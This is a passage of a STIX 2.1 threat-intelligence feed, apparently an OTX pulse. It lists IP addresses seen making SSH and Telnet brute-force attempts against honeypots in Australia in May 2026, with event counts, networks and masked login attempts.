      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.142.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--a8137eb3-7967-4e17-bee6-223e2082f2e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.126.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--af3ac8f8-04c8-472b-bd00-42ae0970054f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.144.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, n***x, u****u.",
      "id": "indicator--ebc52a2a-dd1f-43c4-bf0e-fc0d893a97ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.17.226.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--77aea394-6288-4e81-a46b-1047163148c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.180.173.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--752f791a-02db-4094-bf4d-bc9d9380766e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.9.127.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--7ec59a2d-6740-4366-9a51-bdc58a47ae44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.0.165.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--09a214ee-8ec4-46c8-a3bb-8a6e1281c41c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.81.45.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--73ce2e9c-f095-4f36-bed5-b42bcb7cecea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.253.160.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5066752b-33d0-4fa1-aa65-f91faa159b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.174.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--718e3f79-7e1d-4026-b9f3-714f40bcf6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.105.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a795bc3b-bb60-4030-8e36-bd190522b8aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.144.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--673e23f3-d75a-4046-b691-4523cec49554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28615. Organisation(s): Televisao Cidade SA.",
      "id": "indicator--b0c362c2-8849-4d95-a7d6-78121d0d668e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.131.213.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 16232. Organisation(s): TIM.",
      "id": "indicator--45230c6d-f7d5-48fb-911f-daafb290f9a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.192.240.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--2c94ff66-b35a-4dd5-a3b8-26cd5043ec87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--72f5f799-77c8-43d3-ae96-4fb1494a07d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): A*******************p, G************1, U***********************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c8f217ae-b265-42c4-b9a6-f6d8f081a934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--1777a83b-5ec0-4ef7-a154-66bb8f070ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--e1df11e4-4d0b-4d3a-88aa-c20a18e30f48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--00920327-b599-428c-a027-56ed02955d99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--53929f69-1a5a-4f5e-98ed-816719695231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.210.169.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--96484fec-931e-4d5e-989a-81c0ebf0d585",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.41.187.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T07:15:11.000Z",
      "valid_until": "2026-06-21T07:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--78a16b8b-13ca-443b-852f-ebba79393e67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.35.124.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c28fb781-00e4-41ed-9aa3-d9937fcfa96f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.81.45.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--422cfb90-8c89-4d98-b9bc-4e91d2b2badc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.110.117.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--916d6a6f-186b-4ddf-93e2-943bafdaec32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.105.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--56f8a0e9-26fb-452f-bc35-33c3d9d77ddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.147.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********6, 3***********4, 3**********4, d****r, e*****o.",
      "id": "indicator--d1be89fa-c91b-4994-9c13-aa1794922bf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.203.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--4e3a0ebc-fa1d-4a82-b697-7fa7631fd2db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.35.141.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--71b4e3e8-18be-4048-9af5-3697beeea0c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--6ad8705c-7f5a-4ab8-bdb3-a589308fc8bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.33.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 50482. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, c****e, d****r, e******4.",
      "id": "indicator--cd5f5944-0356-457d-846a-a79f0d1b8a8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.154.234.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 19527. Organisation(s): Google LLC. Usernames observed (masked): r**t, c****e. Passwords observed (masked): c****e, d******r, d****t, u**n.",
      "id": "indicator--b9a20347-0d59-4320-8c60-ddea8b997145",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.0.13.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--88c4f249-ec30-46ec-a364-bbed58484b11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.20.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): I***********************6.",
      "id": "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T08:15:10.000Z",
